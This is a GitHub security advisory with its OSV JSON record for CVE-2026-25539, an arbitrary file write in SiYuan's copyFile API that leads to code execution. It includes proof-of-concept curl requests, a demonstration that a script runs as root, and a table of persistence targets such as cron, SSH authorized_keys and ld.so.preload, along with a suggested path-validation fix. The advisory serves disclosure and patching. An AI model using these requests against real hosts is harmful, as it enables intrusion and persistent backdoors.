GHSA-C4JR-5Q7W-F6R9
Vulnerability from github – Published: 2026-01-29 15:15 – Updated: 2026-02-05 00:36Summary
The /api/file/copyFile endpoint does not validate the dest parameter, allowing authenticated users to write files to arbitrary locations on the filesystem. This can lead to Remote Code Execution (RCE) by writing to sensitive locations such as cron jobs, SSH authorized_keys, or shell configuration files.
- Affected Version: 3.5.3 (and likely all prior versions)
Details
- Type: Improper Limitation of a Pathname to a Restricted Directory (CWE-22)
- Location:
kernel/api/file.go- copyFile function
// kernel/api/file.go lines 94-139
func copyFile(c *gin.Context) {
// ...
src := arg["src"].(string)
src, err := model.GetAssetAbsPath(src) // src is validated
// ...
dest := arg["dest"].(string) // dest is NOT validated!
if err = filelock.Copy(src, dest); err != nil {
// ...
}
}
The src parameter is properly validated via model.GetAssetAbsPath(), but the dest parameter accepts any absolute path without validation, allowing files to be written outside the workspace directory.
PoC
Step 1: Upload malicious content to workspace
curl -X POST "http://target:6806/api/file/putFile" \
-H "Authorization: Token <API_TOKEN>" \
-F "path=/data/assets/malicious.sh" \
-F "file=@-;filename=malicious.sh" <<< '#!/bin/sh
id > /tmp/pwned.txt
hostname >> /tmp/pwned.txt'
Step 2: Copy to arbitrary location (e.g., /tmp)
curl -X POST "http://target:6806/api/file/copyFile" \
-H "Authorization: Token <API_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"src": "assets/malicious.sh", "dest": "/tmp/malicious.sh"}'
Response: {"code":0,"msg":"","data":null}
Step 3: Verify file was written outside workspace
cat /tmp/malicious.sh
# Output: #!/bin/sh
# id > /tmp/pwned.txt
# hostname >> /tmp/pwned.txt
Attack Scenarios
| Target Path | Impact |
|---|---|
/etc/cron.d/backdoor |
Scheduled command execution (RCE) |
~/.ssh/authorized_keys |
Persistent SSH access |
~/.bashrc |
Command execution on user login |
/etc/ld.so.preload |
Shared library injection |
RCE Demonstration
RCE was successfully demonstrated by writing a script and executing it:
# Write script to /tmp
curl -X POST "http://target:6806/api/file/copyFile" \
-H "Authorization: Token <API_TOKEN>" \
-d '{"src": "assets/malicious.sh", "dest": "/tmp/malicious.sh"}'
# Execute (simulating cron or login trigger)
sh /tmp/malicious.sh
# Result
cat /tmp/pwned.txt
# uid=0(root) gid=0(root) groups=0(root)...
Impact
An authenticated attacker (with API Token) can: 1. Achieve Remote Code Execution with the privileges of the SiYuan process 2. Establish persistent backdoor access via SSH keys 3. Compromise the entire host system 4. Access sensitive data on the same network (lateral movement)
Suggested Fix
Add path validation to ensure dest is within the workspace directory:
func copyFile(c *gin.Context) {
// ...
dest := arg["dest"].(string)
// Add validation
if !util.IsSubPath(util.WorkspaceDir, dest) {
ret.Code = -1
ret.Msg = "dest path must be within workspace"
return
}
if err = filelock.Copy(src, dest); err != nil {
// ...
}
}
Solution
d7f790755edf8c78d2b4176171e5a0cdcd720feb
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.0.0-20260126094835-d5d10dd41b0c"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25539"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-29T15:15:54Z",
"nvd_published_at": "2026-02-04T22:16:00Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\nThe `/api/file/copyFile` endpoint does not validate the `dest` parameter, allowing authenticated users to write files to arbitrary locations on the filesystem. This can lead to Remote Code Execution (RCE) by writing to sensitive locations such as cron jobs, SSH authorized_keys, or shell configuration files.\n\n- Affected Version: 3.5.3 (and likely all prior versions)\n\n## Details\n\n- Type: Improper Limitation of a Pathname to a Restricted Directory (CWE-22)\n- Location: `kernel/api/file.go` - copyFile function\n\n```go\n// kernel/api/file.go lines 94-139\nfunc copyFile(c *gin.Context) {\n // ...\n src := arg[\"src\"].(string)\n src, err := model.GetAssetAbsPath(src) // src is validated\n // ...\n\n dest := arg[\"dest\"].(string) // dest is NOT validated!\n if err = filelock.Copy(src, dest); err != nil {\n // ...\n }\n}\n```\n\nThe `src` parameter is properly validated via `model.GetAssetAbsPath()`, but the `dest` parameter accepts any absolute path without validation, allowing files to be written outside the workspace directory.\n\n## PoC\n\n### Step 1: Upload malicious content to workspace\n\n```bash\ncurl -X POST \"http://target:6806/api/file/putFile\" \\\n -H \"Authorization: Token \u003cAPI_TOKEN\u003e\" \\\n -F \"path=/data/assets/malicious.sh\" \\\n -F \"file=@-;filename=malicious.sh\" \u003c\u003c\u003c \u0027#!/bin/sh\nid \u003e /tmp/pwned.txt\nhostname \u003e\u003e /tmp/pwned.txt\u0027\n```\n\n### Step 2: Copy to arbitrary location (e.g., /tmp)\n\n```bash\ncurl -X POST \"http://target:6806/api/file/copyFile\" \\\n -H \"Authorization: Token \u003cAPI_TOKEN\u003e\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"src\": \"assets/malicious.sh\", \"dest\": \"/tmp/malicious.sh\"}\u0027\n```\n\nResponse: `{\"code\":0,\"msg\":\"\",\"data\":null}`\n\n### Step 3: Verify file was written outside workspace\n\n```bash\ncat /tmp/malicious.sh\n# Output: #!/bin/sh\n# id \u003e /tmp/pwned.txt\n# hostname \u003e\u003e /tmp/pwned.txt\n```\n\n## Attack Scenarios\n\n| Target Path | Impact |\n|-------------|--------|\n| `/etc/cron.d/backdoor` | Scheduled command execution (RCE) |\n| `~/.ssh/authorized_keys` | Persistent SSH access |\n| `~/.bashrc` | Command execution on user login |\n| `/etc/ld.so.preload` | Shared library injection |\n\n### RCE Demonstration\n\n RCE was successfully demonstrated by writing a script and executing it:\n\n```bash\n# Write script to /tmp\ncurl -X POST \"http://target:6806/api/file/copyFile\" \\\n -H \"Authorization: Token \u003cAPI_TOKEN\u003e\" \\\n -d \u0027{\"src\": \"assets/malicious.sh\", \"dest\": \"/tmp/malicious.sh\"}\u0027\n\n# Execute (simulating cron or login trigger)\nsh /tmp/malicious.sh\n\n# Result\ncat /tmp/pwned.txt\n# uid=0(root) gid=0(root) groups=0(root)...\n```\n\n## Impact\n\nAn authenticated attacker (with API Token) can:\n1. Achieve Remote Code Execution with the privileges of the SiYuan process\n2. Establish persistent backdoor access via SSH keys\n3. Compromise the entire host system\n4. Access sensitive data on the same network (lateral movement)\n\n## Suggested Fix\n\nAdd path validation to ensure `dest` is within the workspace directory:\n\n```go\nfunc copyFile(c *gin.Context) {\n // ...\n dest := arg[\"dest\"].(string)\n\n // Add validation\n if !util.IsSubPath(util.WorkspaceDir, dest) {\n ret.Code = -1\n ret.Msg = \"dest path must be within workspace\"\n return\n }\n\n if err = filelock.Copy(src, dest); err != nil {\n // ...\n }\n}\n```\n\n## Solution\n\nd7f790755edf8c78d2b4176171e5a0cdcd720feb",
"id": "GHSA-c4jr-5q7w-f6r9",
"modified": "2026-02-05T00:36:43Z",
"published": "2026-01-29T15:15:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-c4jr-5q7w-f6r9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25539"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/commit/d7f790755edf8c78d2b4176171e5a0cdcd720feb"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "SiYuan has Arbitrary File Write via /api/file/copyFile leading to RCE"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.